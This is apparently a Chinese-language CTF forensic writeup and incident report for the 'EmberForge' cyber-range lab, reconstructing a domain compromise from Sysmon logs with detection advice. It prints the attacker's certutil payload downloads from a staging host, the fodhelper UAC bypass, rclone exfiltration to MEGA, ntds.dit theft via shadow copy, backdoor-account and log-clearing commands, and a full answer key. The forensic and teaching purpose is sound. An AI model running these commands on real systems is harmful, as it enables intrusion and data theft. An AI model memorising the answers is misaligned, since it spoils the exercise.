richvincent/emberforge-source-leak

GitHub: richvincent/emberforge-source-leak

一份详尽的 CTF 取证 writeup,展示如何通过 KQL 与 Microsoft Sentinel 分析 Sysmon 数据重建完整攻击链并完成事件响应。

Stars: 0 | Forks: 0

# EmberForge // Source Leak — 事件报告与 CTF Writeup **挑战:** EmberForge // Source Leak **平台:** LOG(N) Pacific Cyber Range (Skool) **分析员:** Rich Vincent **完成日期:** 2026-04-04 **数据源:** `EmberForgeX_CL` (Sysmon + Windows Security 事件,18,250 行) **Sentinel 工作区:** `LAW-Cyber-Range` — `60c7f53e-249a-4077-b68e-55a4ae877d7c` ## 执行摘要 一名威胁行为者通过网络钓鱼投递的 ISO 文件入侵了 `emberforge.local` 域,在单次攻击会话中实现了完全的域控 compromise。攻击者使用凭证 `jwilson.vhr@proton.me` / `Summer2024!` 将整个 `C:\GameDev` 源代码仓库(42.3 GB)窃取到 MEGA 云存储。域凭证是通过在域控制器上的 VSS 卷影副本中提取 NTDS.dit 窃取的。攻击者通过 AnyDesk 建立了持久远程访问,并创建了一个后门域管理员账户(`svc_backup`)。DC 上的安全和系统事件日志随后被清除以阻碍取证调查——然而,Sysmon 遥测数据在清除中幸存下来,并提供了对攻击链的近乎完整的重建。 **三台主机被入侵:** | 主机名 | 角色 | 操作系统 | |---|---|---| | EC2AMAZ-B9GHHO6 | Lisa Martin 的工作站 | Windows 10 | | EC2AMAZ-16V3AU4 | 内部文件/应用服务器 | Windows Server | | EC2AMAZ-EEU3IA2 | 域控制器 | Windows Server | ## MITRE ATT&CK Kill Chain | 阶段 | 技术 | ID | |---|---|---| | 初始访问 | Phishing: Spearphishing Attachment | T1566.001 | | 初始访问 | Mark-of-the-Web Bypass via ISO | T1553.005 | | 执行 | Rundll32 DLL Execution | T1218.011 | | 执行 | Command and Scripting Interpreter | T1059.003 | | 持久化 | Scheduled Task (WindowsUpdate) | T1053.005 | | 持久化 | Remote Access Software (AnyDesk) | T1219 | | 持久化 | Create Account: Domain Account (svc_backup) | T1136.002 | | 权限提升 | Abuse Elevation Control: fodhelper UAC Bypass | T1548.002 | | 防御规避 | Process Injection: CreateRemoteThread | T1055.003 | | 防御规避 | Indicator Removal: Clear Windows Event Logs | T1070.001 | | 防御规避 | Masquerading: Scheduled Task Name (WindowsUpdate) | T1036.004 | | 凭证访问 | OS Credential Dumping: LSASS (direct syscalls) | T1003.001 | | 凭证访问 | OS Credential Dumping: NTDS.dit via VSS | T1003.003 | | 发现 | Domain Account Discovery | T1087.002 | | 发现 | Domain Trust Discovery (nltest) | T1482 | | 横向移动 | Remote Services: SMB (Impacket smbexec) | T1021.002 | | 横向移动 | Scheduled Task/Job: atexec | T1053.005 | | 收集 | Archive Collected Data: Compress-Archive | T1560.001 | | 窃取 | Exfiltration to Cloud Storage (MEGA/rclone) | T1567.002 | | 命令与控制 | Application Layer Protocol: HTTPS | T1071.001 | | 命令与控制 | Domain Fronting / Cloudflare CDN | T1090.004 | ## 攻击时间线 所有时间均提取自 Sysmon/Windows 事件 XML (`SystemTime`)。Sentinel 摄取时间戳不可靠(所有事件约在 22:35–22:44 UTC 摄取)。 ### 阶段 1 — 初始访问 (EC2AMAZ-B9GHHO6) **用户:** `EMBERFORGE\lmartin` (Lisa Martin) 1. Lisa 打开 `EmberForge_Review.iso` — Windows 将其挂载为驱动器 `D:`,绕过了 Mark-of-the-Web(ISO 容器没有 Zone.Identifier ADS 传播)。 2. 该 ISO 包含 `review.dll`。 **执行:** ``` explorer.exe └─ rundll32.exe D:\review.dll,StartW [EventCode 1, lmartin context] └─ notepad.exe [EventCode 8 - CreateRemoteThread injection] ``` - `review.dll` 将 shellcode 存根注入 `notepad.exe`(初始中等完整性立足点)。 - `notepad.exe` 下载并投递 `C:\Users\Public\update.exe`(主要 C2 implant)。 ### 阶段 2 — C2 建立与 UAC 绕过 (EC2AMAZ-B9GHHO6) **C2 域:** `cdn.cloud-endpoint.net` **C2 IP:** `104.21.30.237` (主要), `172.67.174.46` (次要) — 均为 Cloudflare,同源 **协议:** HTTPS (端口 443) `update.exe` 建立持久的 C2 信标。随后攻击者提升权限: **fodhelper UAC 绕过:** ``` update.exe writes registry: HKU\..._Classes\ms-settings\shell\open\command\(Default) = update.exe HKU\..._Classes\ms-settings\shell\open\command\DelegateExecute = (empty) cmd.exe /c fodhelper.exe → fodhelper.exe spawns update.exe at HIGH integrity ``` **提权后的稳定注入:** ``` update.exe (HIGH) └─ spoolsv.exe [CreateRemoteThread — elevated, SYSTEM context] ``` **持久化(工作站):** ``` schtasks /create /tn WindowsUpdate /tr C:\Users\Public\update.exe /sc onstart /ru system ``` 任务名称 `WindowsUpdate` 伪装成合法的 Windows 更新机制。 ### 阶段 3 — 凭证转储与发现 (EC2AMAZ-B9GHHO6) **LSASS 转储:** - `update.exe` 使用直接系统调用转储 LSASS(绕过用户态 EDR hooks) - 输出:`C:\Windows\System32\lsass.dmp` **域侦察(均通过提权后的 update.exe/spoolsv.exe):** ``` net user /domain net group "Domain Admins" /domain nltest /dclist:emberforge.local ``` **添加防火墙规则:** ``` netsh advfirewall firewall add rule name="SMB" dir=in action=allow protocol=tcp localport=445 ``` 为工具暂存共享访问启用入站 SMB。 ### 阶段 4 — 横向移动到服务器 (EC2AMAZ-16V3AU4) **工具暂存(来自工作站):** - 攻击者通过 `\\10.1.173.145\tools`(工作站上的 SMB 共享)共享工具 - 服务器拉取负载:`copy \\10.1.173.145\tools\update.exe C:\Users\Public\update.exe` **替代暂存 (LOLBin):** ``` certutil.exe -urlcache -f http://sync.cloud-endpoint.net:8080/update.exe C:\Users\Public\update.exe certutil.exe -urlcache -split -f http://sync.cloud-endpoint.net:8080/AnyDesk.exe C:\Users\Public\AnyDesk.exe ``` **暂存服务器:** `sync.cloud-endpoint.net:8080` (HTTP,攻击者控制) **失败的横向移动尝试:** - 攻击者尝试从工作站 (10.1.173.145) 向服务器进行 NTLM pass-the-hash - 出现状态为 `0x80090308` 的 4625 事件(NTLM 签名无效) — 哈希不可用 - 攻击者转向使用 Impacket **smbexec** **服务器上的 Impacket smbexec — 第一条命令:** ``` whoami ``` 在继续之前确认执行上下文。 ### 阶段 5 — 数据窃取 (EC2AMAZ-16V3AU4) **归档创建:** ``` Compress-Archive -Path C:\GameDev -DestinationPath C:\Users\Public\gamedev.zip ``` **逐行构建 rclone 配置(以避免一次将完整配置写入磁盘):** ``` echo [mega]>> C:\Users\Public\rclone.conf echo type = mega>> C:\Users\Public\rclone.conf echo user = jwilson.vhr@proton.me>> C:\Users\Public\rclone.conf echo pass = 1PS7P86ziG00iZmuq5XFbyEXKkkB8ClOiwBY>> C:\Users\Public\rclone.conf ``` **rclone 混淆密码是通过以下方式生成的:** ``` rclone.exe obscure Summer2024! → 1PS7P86ziG00iZmuq5XFbyEXKkkB8ClOiwBY ``` **窃取命令:** ``` rclone.exe --config C:\Users\Public\rclone.conf copy C:\GameDev mega:exfil -v rclone.exe copy C:\GameDev mega:exfil --mega-user jwilson.vhr@proton.me --mega-pass Summer2024! -v ``` **攻击者凭证以明文暴露:** - MEGA 账户:`jwilson.vhr@proton.me` - MEGA 密码:`Summer2024!` ### 阶段 6 — 横向移动到域控制器 (EC2AMAZ-EEU3IA2) **Impacket atexec — DC 上的第一条命令:** 攻击者在 DC 上的第一条命令是通过 atexec(计划任务执行)进行的验证检查: ``` whoami [23:19:21 UTC - atexec random scheduled task] ``` 确认在 DC 上以 SYSTEM 权限执行,随后转向 smbexec 进行更重型的操作。 **DC 上的 Impacket smbexec — 通过 VSS 提取 NTDS:** 随机命名的服务(7045 事件)执行了以下序列: ``` vssadmin list shadows /for=C: [service: zgECPPnE] vssadmin create shadow /For=C: [service: JKEpKhcH] vssadmin list shadows /for=C: [service: ROeVQtpt] copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\nyMdRNSp.tmp [service: fHxLXpku] vssadmin delete shadows /shadow="{0ed56514-...}" /Quiet [service: YOzedHWI] ``` `ntds.dit` 副本暂存于:`C:\Windows\Temp\nyMdRNSp.tmp` ### 阶段 7 — 后门账户创建 (EC2AMAZ-EEU3IA2) ``` net user svc_backup P@ssw0rd123! /add /domain net group "Domain Admins" svc_backup /add /domain ``` **后门账户:** `svc_backup` / `P@ssw0rd123!` — 直接添加到 Domain Admins。 ### 阶段 8 — 远程访问持久化 (EC2AMAZ-B9GHHO6) **静默安装 AnyDesk:** ``` AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent net start AnyDesk ``` **修改配置以实现无人值守访问:** ``` cmd.exe /c type C:\ProgramData\AnyDesk\system.conf cmd.exe /c echo ad.security.interactive_access=2 >> C:\ProgramData\AnyDesk\system.conf cmd.exe /c echo ad.security.unattended_access_password_hash=5e884898da28047d91089d3f7c6e12d05d0fb9e2 >> C:\ProgramData\AnyDesk\system.conf ``` - `interactive_access=2` — 允许无需用户批准的无人值守连接 - `5e884898da28047d91089d3f7c6e12d05d0fb9e2` — `password` 的 SHA1 哈希 **AnyDesk 无人值守密码:** `password` **配置位置:** `C:\ProgramData\AnyDesk\system.conf` ### 阶段 9 — 反取证 (EC2AMAZ-EEU3IA2) ``` wevtutil cl Security wevtutil cl System ``` 通过 smbexec 执行(svchost → cmd → wevtutil)。DC 上的 Security 和 System 事件日志被完全擦除,导致登录事件、权限使用和对象访问记录出现缺口。 **证据缺口影响:** 无法从 Windows Event Log 恢复 DC 的登录事件 (4624/4625)、对象访问 (4662) 和权限分配。然而,DC 上的 Sysmon 数据(EventCodes 1, 3, 8, 11, 13, 15)得以幸存,因为它记录到单独的通道(`Microsoft-Windows-Sysmon/Operational`)且未被攻击者清除。DC 上的完整进程执行链可以仅通过 Sysmon 重建。 ## 证据清单 ### EC2AMAZ-B9GHHO6(工作站)上的工件 | 工件 | 路径 | 用途 | |---|---|---| | ISO 投递 | `C:\Users\lmartin.EMBERFORGE\Downloads\EmberForge_Review\EmberForge_Review.iso` | 钓鱼投递,MotW 绕过 | | 恶意 DLL | `D:\review.dll` | 通过 rundll32 初始执行 | | C2 implant | `C:\Users\Public\update.exe` | 主要 C2 信标 | | LSASS 转储 | `C:\Windows\System32\lsass.dmp` | 凭证窃取 | | AnyDesk 安装程序 | `C:\Users\Public\AnyDesk.exe` | 通过 certutil 暂存 | | AnyDesk 已安装 | `C:\ProgramData\AnyDesk\AnyDesk.exe` | 远程访问服务 | | AnyDesk 配置 | `C:\ProgramData\AnyDesk\system.conf` | 无人值守访问配置 | | 计划任务 | `C:\Windows\System32\Tasks\WindowsUpdate` | 持久化 (`/sc onstart /ru system`) | ### EC2AMAZ-16V3AU4(服务器)上的工件 | 工件 | 路径 | 用途 | |---|---|---| | C2 implant | `C:\Users\Public\update.exe` | 横向移动负载 | | rclone | `C:\Users\Public\rclone.exe` | 窃取工具 | | rclone 配置 | `C:\Users\Public\rclone.conf` | MEGA 凭证 | | 归档 | `C:\Users\Public\gamedev.zip` | 暂存的窃取归档 | ### EC2AMAZ-EEU3IA2(域控制器)上的工件 | 工件 | 路径 | 用途 | |---|---|---| | ntds.dit 副本 | `C:\Windows\Temp\nyMdRNSp.tmp` | 域凭证窃取 | | Smbexec 临时 bat | `C:\Windows\Temp\execute.bat` | Smbexec 执行暂存(临时) | ### 网络入侵指标 | 指标 | 类型 | 用途 | |---|---|---| | `cdn.cloud-endpoint.net` | C2 域 | 主要 C2(Cloudflare 前置) | | `sync.cloud-endpoint.net` | 暂存域 | 负载投递(端口 8080 HTTP) | | `104.21.30.237` | C2 IP | 主要 C2 端点 | | `172.67.174.46` | C2 IP | 次要 C2 端点 | | `jwilson.vhr@proton.me` | 攻击者邮箱 | MEGA 窃取账户 | | `Summer2024!` | 凭证 | MEGA 密码(在 rclone 参数中) | ### 被入侵的域凭证 | 账户 | 密码 | 来源 | 权限 | |---|---|---|---| | `svc_backup` | `P@ssw0rd123!` | 攻击者创建 | Domain Admin | | `jwilson.vhr@proton.me` | `Summer2024!` | 攻击者 MEGA 账户 | N/A | | 所有域账户 | (通过 ntds.dit) | NTDS.dit 提取 | 所有 | ## 答案参考 (Q00–Q44) | 题号 | 主题 | 答案 | |---|---|---| | Q00 | 自定义日志表 | `EmberForgeX_CL` | | Q01 | 窃取源目录 | `C:\GameDev` | | Q02 | 云服务商 | MEGA | | Q03 | 攻击者邮箱 | `jwilson.vhr@proton.me` | | Q04 | 域凭证文件 | `ntds.dit` | | Q05 | 窃取工具 | `rclone.exe` | | Q06 | 窃取目标 IP | *(MEGA cloud IP)* | | Q07 | 明文 MEGA 密码 | `Summer2024!` | | Q08 | 归档 cmdlet | `Compress-Archive` | | Q09 | 暂存服务器 | `sync.cloud-endpoint.net` | | Q10 | 最早的恶意进程 | `review.dll` | | Q11 | 投递驱动器号 | `D:` | | Q12 | 被入侵用户 | `lmartin` | | Q13 | 执行链 | `explorer.exe > rundll32.exe > review.dll` | | Q14 | 投递解包 | `rundll32.exe > C:\Users\Public\` | | Q15 | 投放的负载路径 | `C:\Users\Public\update.exe` | | Q16 | C2 域 | `cdn.cloud-endpoint.net` | | Q17 | 主要 C2 IP | `104.21.30.237` | | Q18 | 初始注入链 | `rundll32.exe > notepad.exe` | | Q19 | UAC 绕过二进制 | `fodhelper.exe` | | Q20 | 注册表绕过值 | `DelegateExecute` | | Q21 | 稳定注入链 | `update.exe > spoolsv.exe` | | Q22 | 凭证转储进程 | `update.exe` | | Q23 | LSASS 转储路径 | `C:\Windows\System32\lsass.dmp` | | Q24 | 用户枚举命令 | `net user /domain` | | Q25 | 权限枚举命令 | `net group "Domain Admins" /domain` | | Q26 | 基础设施映射命令 | `nltest /dclist:emberforge.local` | | Q27 | 工具暂存命令 | `copy \\10.1.173.145\tools\update.exe C:\Users\Public\update.exe` | | Q28 | 防火墙规则名称 | `SMB` | | Q29 | 提权后父进程 | `fodhelper.exe` | | Q30 | 信标分发命令 | `certutil.exe -urlcache -f http://sync.cloud-endpoint.net:8080/update.exe C:\Users\Public\update.exe` | | Q31 | LOLBin 工具暂存 | `certutil.exe > http://sync.cloud-endpoint.net:8080/update.exe` | | Q32 | Smbexec 服务名称 | *(random 8-char, case-sensitive)* | | Q33 | 服务器上第一条命令 | `whoami` | | Q34 | 失败横向移动协议 | `NTLM` | | Q35 | DC 到达序列 | `whoami > vssadmin.exe` | | Q36 | 后门账户 | `svc_backup` | | Q37 | 后门密码 | `P@ssw0rd123!` | | Q38 | 权限组 | `Domain Admins` | | Q39 | 暴露凭证 | `Summer2024!` | | Q40 | 计划任务 (flag) | `WindowsUpdate` | | Q41 | 远程访问工具 | `AnyDesk` | | Q42 | 远程访问配置路径 | `C:\ProgramData\AnyDesk\system.conf` | | Q43 | 反取证工具 | `wevtutil` | | Q44 | 被清除的事件日志 | `Security, System` | ## 证据缺口与局限性 攻击者在 DC 上使用了 `wevtutil cl Security` 和 `wevtutil cl System`,造成以下方面的缺口: - **Windows Security 日志 (DC):** 登录事件 (4624/4625)、Kerberos (4768/4769)、权限使用、对象访问 (4662)、账户管理事件 (4720/4732/4756) - **Windows System 日志 (DC):** 服务控制事件 (7036) 及攻击窗口之外的其他系统记录 **幸存内容:** 所有三个主机上的 Sysmon 遥测(单独的通道,未被清除)提供了完整的进程执行、网络连接、文件创建和注册表修改记录。尽管日志被清除,攻击链仍可完全重建。 ## 建议 ### 立即(事件响应) 1. **轮换所有域凭证** — ntds.dit 已被窃取;所有密码哈希均已受损 2. **禁用/删除 `svc_backup`** 域管理员账户 3. **撤销 `jwilson.vhr@proton.me` 的 MEGA 访问权限**并报告给 MEGA 滥用团队 4. **从 EC2AMAZ-B9GHHO6 移除 AnyDesk 服务**并使所有 AnyDesk ID 失效 5. **删除 `WindowsUpdate` 计划任务**并从 Public 文件夹移除 `update.exe` 6. **封锁 C2 域/IP:** `cdn.cloud-endpoint.net`、`sync.cloud-endpoint.net`、`104.21.30.237`、`172.67.174.46` 7. **重置 KRBTGT 账户**两次(间隔 24 小时)以使任何伪造的 Kerberos 票证失效 ### 检测改进 1. **对 `wevtutil cl` 发出警报** — 批量清除 Security/System 日志无合法的管理用例 2. **对最终用户挂载 ISO/IMG 发出警报** — 主要的 MotW 绕过载体 3. **对从可移动/挂载驱动器加载 DLL 的 `rundll32.exe` 发出警报** 4. **对 `fodhelper.exe` 生成子进程发出警报**(UAC 绕过指标) 5. **对下载可执行文件的 `certutil -urlcache` 发出警报** 6. **对服务器和工作站上的 rclone/云同步工具发出警报** 7. **监控 Impacket 特征:** 随机 8 字符服务名称 (7045)、atexec 临时文件模式(`__output_*`、`.bat` 在 `C:\Windows\` 中) 8. **对 `vssadmin create shadow` 随后访问 ntds.dit 发出警报** ### 加固 1. **通过 GPO 禁用 ISO 自动播放** (`NoDriveTypeAutoRun`) 2. **强制执行应用程序允许列表** (WDAC/AppLocker) — 阻止来自用户目录的未签名 DLL 3. **启用 Credential Guard** — 即使使用直接系统调用也能防止 LSASS 内存访问 4. **为所有特权账户启用 Protected Users** 安全组 5. **通过 GPO 将计划任务创建限制为管理员** 6. **在所有主机上部署 Sysmon**(此处已部署 — 它挽救了本次调查) 7. **在 Sysmon 上启用篡改保护**以防止其通道的日志清除 8. **尽可能禁用 RDP 和 SSH 的密码认证** 9. **为本地管理员账户实施 LAPS**以防止通过共享凭证进行横向移动 ## 关键调查经验:Sentinel 摄取与事件时间 `EmberForgeX_CL` 中的所有 18,250 个事件具有几乎相同的 `TimeGenerated` 值(批量摄取于 ~22:35–22:44 UTC)。**不要使用 `TimeGenerated` 进行攻击排序。** 实际事件时间嵌入在 `Raw_s` 的 Sysmon/Windows XML 中: ``` ``` 这一区别对于 Q35(DC 到达)至关重要:`23:19:21` 的 atexec `whoami` 先于 `23:34:55` 的 smbexec `vssadmin` 操作——仅从 `TimeGenerated` 无法看到的 15 分钟差距。在对事件排序时,务必从 `Raw_s` 中提取真实事件时间。
标签:AnyDesk, ATT&CK框架, CIDR输入, CTF Writeup, HTTP工具, ISO文件钓鱼, KQL, Kusto查询语言, MEGAsync, Microsoft Sentinel, NTDS.dit提取, rundll32滥用, Sysmon, Windows Server, Windows安全日志, 协议分析, 卷影复制, 后门账户, 域控制器攻击, 数字取证, 数据窃取, 权限提升, 清除事件日志, 源码泄露, 网络安全靶场, 自动化脚本, 远程控制软件